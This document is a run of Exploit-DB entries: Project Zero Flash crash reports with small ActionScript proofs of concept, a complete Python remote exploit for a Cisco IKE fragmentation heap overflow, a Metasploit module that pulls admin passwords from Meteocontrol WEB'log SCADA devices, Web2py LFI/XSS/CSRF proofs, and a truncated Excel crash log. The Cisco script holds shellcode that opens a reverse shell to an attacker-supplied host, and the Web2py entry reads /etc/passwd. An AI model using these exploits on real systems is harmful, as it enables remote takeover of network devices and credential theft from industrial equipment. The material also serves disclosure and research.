There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
			
			
function func (){
	
	t.removeMovieClip();
	
	}

A swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801

There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.

A minimal PoC follows:

var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);

function func(){
	
	trace("a");
	
	}

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39830.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799

There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){
			
			this.__proto__ = {};
			this.__proto__.__constructor__ = flash.display.BitmapData;
			super(1000, 1000);
			
			
			}
			

	function mysubclass(){
		

		this.watch("name", myfunc);
		_global.ASnative(2204, 200)(this); // FileReference constructor
		this.unwatch("name"); // let the reference free
		
		}
	}

        var a = new subclass();
        a = 0;
        // wait for GC


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=760

The attached mp4 file causes stack corruption in flash. To load, put LoadMP42.swf on a server and load http://127.0.0.1/LoadMP42.swf?file=t.mp4.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39828.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=789

There is a large heap overflow in reading an ATF image to a Bitmap object. To reproduce the issue, load the attach file '4' using LoadImage.swf as follows:

LoadImage.swf?img=4


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39827.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=792

There is an overflow in the processing of raw 565 textures in ATF processing. 

To reproduce the issue, load the attach file '70' using LoadImage.swf as follows:

LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39826.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=794

There is an out of bounds read when placing a corrupt image. This issue might be exploitable, depending on what is read.

A PoC is attached. To reproduce issue, put both files on a server, and load:

http://127.0.0.1/LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39825.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=791

There is an out-of-bounds read in JXR processing. This issue is probably not exploitable, but could be used an an information leak.

To reproduce the issue, load the attach file '8' using LoadImage.swf as follows:

LoadImage.swf?img=8


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39824.zip
            
#!/usr/bin/env python2.7

import socket
import sys
import struct
import string
import random
import time



# Spawns a reverse cisco CLI
cliShellcode = (
    "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
    "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
    "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
    "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
    "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
    "\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"
    "\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"
    "\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"
    "\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"
    "\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"
    "\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"
    "\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"
    "\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"
    "\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"
    "\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"
    "\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"
    "\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"
    "\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"
    "\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"
    "\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"
    "\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"
    "\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"
    "\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"
    )

# Spawns a reverse "/bin/sh"
shShellcode = (
    "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
    "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
    "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
    "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
    "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
    "\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"
    "\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"
    "\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"
    "\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"
    "\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"
    "\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"
    "\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"
    "\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"
    "\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"
    "\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"
    "\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"
    "\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"
    "\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"
    "\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"
    "\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"
    "\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"
    "\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"
    "\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"
    "\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"
    "\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"
    "\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"
    "\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"
    "\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"
    "\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"
    "\xc0\xc3"
        )


# SA Session
class Session(object):
    def __init__(self, host_port, id = None):
        if id == None:
            id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))

        self._host, self._port = host_port
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._id = id
        self._mid = 1

        
        # Init session
        print("[+] Using session ID: " + self._id)
        self.send(self.make_SA())

        # Check if we got something
        res = self.recv()
        cookie = res[8:16]
        print("[+] Cookie: " + cookie)

        self._cookie = cookie

        # Enforce value of 0x21
        if ord(res[16]) != 0x21:
            raise Exception("Invalid router response")

        print("[+] New SA successfuly created.")


    # UPD socket helpers
    def send(self, buf):
        self._sock.sendto(buf, (self._host, self._port))

    def recv(self, size = 4096):
        data, addr = self._sock.recvfrom(size)
        return data

    def make_SA(self):
        buf = ""
        buf += self._id                  # Initiator SPI 
        buf += "\x00"*8                  # Responder SPI
        buf += "\x21"                    # next payload (security association)
        buf += "\x20"                    # version
        buf += "\x22"                    # exchange type
        buf += "\x08"                    # flags
        buf += "\x00"*4                  # message ID
        buf += "$$$$"                    # length

        # stolen from pcap
        # THIS IS SECURITY ASSOCIATION
        buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"

        # THIS IS KEY EXCHANGE
        # this is the type of the next payload...
        buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID
        # KEY EXCHANGE DATA
        buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"
            
        # this is the Nonce payload
        buf += "\x2b"
        buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"
        # lets try a vendor id or three
        buf += "\x2b" # next payload, more vendor ID
        buf += "\x00" # critical bit
        vid = "CISCO-DELETE-REASON"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid

        # another vendor id
        buf += "\x2b"	# next payload, more vendor ID
        buf += "\x00"	# critical bit
        vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
        buf += struct.pack(">H", len(vid)+4)
        buf += vid

        # another vendor id
        buf += "\x2b"	# next payload, more vid
        buf += "\x00"	# crit
        vid = "CISCO-GRE-MODE"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid

        # last vendor id
        buf += "\x00"	# next payload
        buf += "\x00"
        vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid
            
        return buf.replace("$$$$", struct.pack(">L", len(buf)))

    def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):
        buf = ''
        buf += self._id               # Initiator SPI (random)
        buf += self._cookie                # Responder SPI
        buf += "\x84"                   # next payload
        buf += "\x20"                   # version
        buf += "\x25"                   # exchange type (2=identify protection)
        buf += "\x08"                   # flags
        buf += "\x00\x00\x00\x01"       # message ID
        buf += "ABCD"                   # length

        # PAYLOAD
        payload = ""
        payload += "\x00"               # next payload (none)
        payload += "\x00"               # critical bit
        payload += struct.pack(">H", flength) 		#payload_len)  # length
        payload += struct.pack(">H", fragid)        # frag ID
        payload += struct.pack("B", seqno)         # frag sequence
        payload += struct.pack("B", lastfrag)
        payload += sploit

        buf += payload
        return buf.replace("ABCD", struct.pack(">L", len(buf)))


    def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):
        buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)
        self.send(buf)

        # We're not supposed to receive anything if everything went
        # according to plan

    def make_cisco_option_list(self, opt_lst):
        buf = ''
        buf += self._id               # Initiator SPI (random)
        buf += self._cookie                # Responder SPI
        buf += "\x2f"                   # next payload
        buf += "\x20"                   # version
        buf += "\x25"                   # exchange type (2=identify protection)
        buf += "\x08"                   # flags
        buf += struct.pack(">I", 1)       # message ID
        buf += "ABCD"                   # length

        # PAYLOAD
        payload = ""
        payload += "\x00"               # next payload (none)
        payload += "\x00"               # critical bit
        payload += "EF" 		#payload_len)  # length
        payload += "\x03"               # CFG_SET
        payload += "\x00\x00\x00"       # Reserved

        total = 0x8
        for size, n in opt_lst:
            option  = struct.pack(">H", 0x6000)  #id
            option += struct.pack(">H", size)    # data length
            option += "A" * (size)

            total += (size + 4) * n
            payload += option * n
        buf += payload


        packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))

        return packet


class Exploit(object):
    def __init__(self, host, revHost, revPort = 4444):
        self._host = host
        self._port = 500
        self._revHost = revHost
        self._revPort = revPort
        self._sessions = []


    # Create a new SA session
    def create_SA(self, id = None):

        # Create a new socket for session
        sess = Session((self._host, self._port), id)

        # Append to session list
        self._sessions.append(sess)

        return sess


    # Interact with reverse shell
    def interact(self):
        from telnetlib import Telnet

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        s.bind((self._revHost, self._revPort))
        s.listen(5)
        cli = s.accept()[0]
        s.close()
        print("[+] Got connect-back")

        t = Telnet()
        t.sock = cli
        t.interact()

    def buildPayload(self, cli = False):
        if cli == False:
            buf = bytearray(shShellcode)
            # Adjust IP and port
            buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)
            buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)
            Shellcode = bytes(buf)
        else:
            Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))

        return Shellcode


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))
        sys.exit(0)

    #TODO: Check host
    host = sys.argv[1]
    revHost = sys.argv[2]

    # Parse revHost
    port = 4444
    if revHost.rfind(":") != -1:
        revHost, port = revHost.split(":")
        port = int(port)

    exploit = Exploit(host, revHost, port)
    sess1 = exploit.create_SA()
    sess2 = exploit.create_SA()

    n = 0xd6
    sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))

    # Send packets which will trigger the vulnerability
    # Weird packet to get a size of 0x1
    sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))

    # This fragment will be the one being copied
    # during the memory corruption
    buf = "A" * (n - 0xd + 0x3)
    buf += struct.pack("<I", 0xef000000)
    buf += struct.pack("<I", 0x00a11ccd) # chunk magics
    buf += struct.pack("<I", 0xe100d4d0)
    buf += struct.pack("B", 0x61)       # set size from 0x31 to 0x61 in order to encompass the
                                        # adjacent chunk on free
    sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)


    sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)
    pkt = sess1.make_cisco_option_list((
        (0xd0, 0x30), 
        )
    )

    # Defragment heap
    sess1.send(pkt)
    sess1.send(pkt)
    sess1.send(pkt)

    # Prepare a fake chunk
    buf  = ""
    buf += struct.pack("<I", 0x60)
    buf += struct.pack("<I", 0x102)
    buf += struct.pack("<I", 0xa11c0123)
    buf += struct.pack("<I", 0xe0)
    buf += "A" * 0xe8

    # And allocate it right after a 0x100 bytes hole
    sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)

    # Trigger the overflow
    sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))

    # Retrieve of fake freed block
    #buf = "\xcc" * (0xd0 - len(buf))
    buf = "\x00" * 0xd0


    buf += struct.pack("<I", 0xe100d4d0)
    buf += struct.pack("<I", 0x31)

    # this is a special writable address in the process
    # it translate into the following executable code:
    # nop / jmp [ecx]
    # since ecx happens to hold a pointer to a controlled buffer
    # the execution flow will be redirected to attacker controlled data
    what = 0xc821ff90

    # Just some writable address in the process which doesn't seem to be used
    where = 0xc8002000 - 0x8

    buf += struct.pack("<I", what)
    buf += struct.pack("<I", where)
    buf += struct.pack("<I", 0xf3ee0123)
    buf += struct.pack("<I", 0x0) * 5
    buf += struct.pack("<I", 0x5ee33210)
    buf += struct.pack("<I", 0xf3eecdef)
    buf += struct.pack("<I", 0x30)
    buf += struct.pack("<I", 0x132)
    buf += struct.pack("<I", 0xa11c0123)
    buf += struct.pack("<I", 0x100)
    buf += struct.pack("<I", 0x0) * 2

    # Second write-4 pointers
    # This is the address of the pointer to the "list_add" function
    # which will give us control of execution flow
    where = 0x0A99B7A4 - 0x10

    # This is the address where the opcode sequence "nop / jmp [ecx]" is located
    what = 0xc8002000

    buf += struct.pack("<I", what)
    buf += struct.pack("<I", where)

    buf += "\x00" * (0x128 - len(buf))
    
    # Try to chain a config list and a fragment packet
    packet = bytearray()
    packet += sess1._id               # Initiator SPI (random)
    packet += sess1._cookie                # Responder SPI
    packet += "\x2f"                   # next payload option list
    packet += "\x20"                   # version
    packet += "\x25"                   # exchange type (2=identify protection)
    packet += "\x08"                   # flags
    packet += struct.pack(">I", 1)       # message ID
    packet += "XXXX"                   # total length including header

    payload = bytearray()
    payload += "\x00"               # next payload (frag)
    payload += "\x00"               # critical bit
    payload += "\x00\x00" 	    # payload length
    payload += "\x03"               # CFG_SET
    payload += "\x00\x00\x00"       # Reserved

    size = 0x130
    option  = struct.pack(">H", 0x8400)  #id
    option += struct.pack(">H", size)    # data length
    option += "\x90" * 0x8 + buf

    payload += option * 0x10


    # Update payload length
    payload[2:4] = struct.pack(">H", len(payload))

    packet += payload

    # Update payload length
    packet[0x18:0x1C] = struct.pack(">I", len(packet))


    packet = bytes(packet)

    # Reallocate the fake freed 0x130 bytes chunk with controlled data
    # this way we can perform a write-4 memory corruption when freeing 
    # the subsequent memory
    sess1.send(packet)

    time.sleep(0.2)
    #raw_input()
    packet = bytearray()
    packet += sess1._id               # Initiator SPI (random)
    packet += sess1._cookie                # Responder SPI
    packet += "\x84"                   # next payload option list
    packet += "\x20"                   # version
    packet += "\x25"                   # exchange type (2=identify protection)
    packet += "\x08"                   # flags
    packet += struct.pack(">I", 1)       # message ID
    packet += "XXXX"                   # total length including header

    buf = exploit.buildPayload(cli = True) 
   
    flength = len(buf) + 0x8
    fragid = 0xeb
    seqno = 0x5
    lastfrag = 0
    payload = bytearray() 
    # Jump over garbage directly into shellcode (interpreted as jmp +0x6)
    payload += "\xeb"               # next payload (none)
    payload += "\x06"               # critical bit
    payload += struct.pack(">H", flength) 		#payload_len)  # length
    payload += struct.pack(">H", fragid)        # frag ID
    payload += struct.pack("B", seqno)         # frag sequence
    payload += struct.pack("B", lastfrag)
    payload += buf

    packet += payload

    # Update payload length
    packet[0x18:0x1C] = struct.pack(">I", len(packet))


    packet = bytes(packet)

    # Trigger the 2 write-4 and get code execution
    sess1.send(packet)

    # Hopefully we'll get something interesting
    exploit.interact()

  
            
# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.meteocontrol.com/en/]
# Versions Reported: [All Meteocontrol WEB'log versions]
# CVE-ID: [CVE-2016-2296]

# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Meteocontrol WEBLog Password Extractor',
      'Description' => %{
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.

},
      'References'  =>
        [
             [ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
             [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
        ],
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
    [
        Opt::RPORT(8080)	# Application may run on a different port too. Change port accordingly.
    ], self.class)
  end

  def run_host(ip)
    unless is_app_metweblog?
      return
    end

    do_extract
  end

  #
  # Check if App is Meteocontrol WEBlog
  #

  def is_app_metweblog?
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/index.html',
        'method'    => 'GET'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
      print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
      return true
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
      return false
    end
  end

  #
  # Extract Administrator Password
  #

  def do_extract()
    print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/confAccessProt.html',
        'method'    => 'GET'
      })

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return :abort
    end

    if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
        get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
        admin_password = get_admin_password[1]
        print_good("#{rhost}:#{rport} - Password is #{admin_password}")
        report_cred(
                ip: rhost,
                port: rport,
                service_name: 'Meteocontrol WEBlog Management Portal',
                password: admin_password,
                proof: res.body
      )
    else
        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
        print_error("Password not found. Check login manually.")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end
end
            
Title - Web2py 2.14.5 Multiple Vulnerabilities LFI,XSS,CSRF

# Exploit Title : Web2py 2.14.5 Multiple Vulnerabilities LFI, XSS,CSRF
# Reported Date : 2-April-2016
# Fixed Date : 4-April-2016
# Exploit Author : Narendra Bhati - https://www.exploit-db.com/author/?a=7638
# CVE ID : LFI - CVE-2016-4806 , Reflected XSS - CVE-2016-4807 , CSRF - CVE-2016-4808
# Tested On : MAC OS X EI Capitan, Windows 7 64 Bit, Most Linux Platforms.
# Fix/Patching : Update To Web2py. 2.14.6
# Facebook : https://facebook.com/iambhati
# Twitter : http://twitter.com/NarendraBhatiB
# Detailed POC: http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
==============================================


LFI(Local File Inclusion): CVE-2016-4806

POST URI - /admin/default/pack_custom/[applicationmame]

Vulnerable Parameter = file

Exploit - file=/etc/passwd

Authentication Required = Yes(Administrator)

Steps To Reproduction

1) HTTP Request 

POST /admin/default/pack_custom/[applicationname] HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/admin/default/pack_custom/dasdasdasdad
Cookie: session_id_welcome=asdadasdasdasdasd; session_id_admin=asdasdasdasdasd
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3213

file=/etc/passwd

2) After sending this request, Application will prompt you with a file to download as an extension of "w2p".

3) Now we have to unpack this downloaded file using. https://github.com/pigeonflight/web2py-unpacker

I.e. 
Command for unpacking w2p file
python web2py-unpacker.py downloadfile.w2p

4) This command will create a folder called "unpack", In this folder there will be an another folder of the application of web2py. In this folder you will found the etc folder, Then into this folder you will get the passwd file.


Video POC - https://www.youtube.com/watch?v=paCvmHgomP4

Full Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

========================================================================

Reflected XSS(Cross Site Scripting) : CVE-2016-4807

GET URI  - http://127.0.0.1:8000/admin/default/install_plugin/dasdasdasdad?plugin=math2py&source=anyurl

Vulnerable Parameter - source

Exploit - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

Authentication Required - Yes(Administrator)

Steps To Reproduction

1) Go to this URL - http://127.0.0.1:8000/admin/default/install_plugin/[applicationname]?plugin=math2py&source=javascript:alert(1)

2) The parameter "source" value will get reflected on the page on "Here" button.

3) When you will click on that button "Here" XSS payload will get executed.

Video POC - https://www.youtube.com/watch?v=4j9hXJtVNbk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/

============================================================================


CSRF(Cross Site Request Forgery): CVE-2016-4808

GET URI - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Exploit - http://127.0.0.1:8000/admin/default/enable/[applicationname]

Authenticated Required - Yes(Administrator)


Steps To Reproduction

1) Suppose we have an application in web2py called "testingapp"

2) An attacker can trick an victim to disable the installed application just By sending this URL to victim - http://127.0.0.1:8000/admin/default/enable/testingapp

Video POC - https://www.youtube.com/watch?v=d4V8qlNrYtk

Detailed POC - http://websecgeeks.com/web2py-2-14-5-multiple-vulnerabilities/
            
Microsoft Office is prone to a remote denial-of-service vulnerability. 

Attackers can exploit this issue to crash the affected application.
----------------------------------------------------------------------
Found  : 11.05.2016
More: http://HauntIT.blogspot.com

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39819.zip

----------------------------------------------------------------------
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:\Program Files\Microsoft Office\Office14\excel.EXE" C:\crash\sf_e626c69c89ab9e683eed52eeaaac93ca-109922.xlsx
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path.           *
* Use .symfix to have the debugger choose a symbol path.                   *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is: 
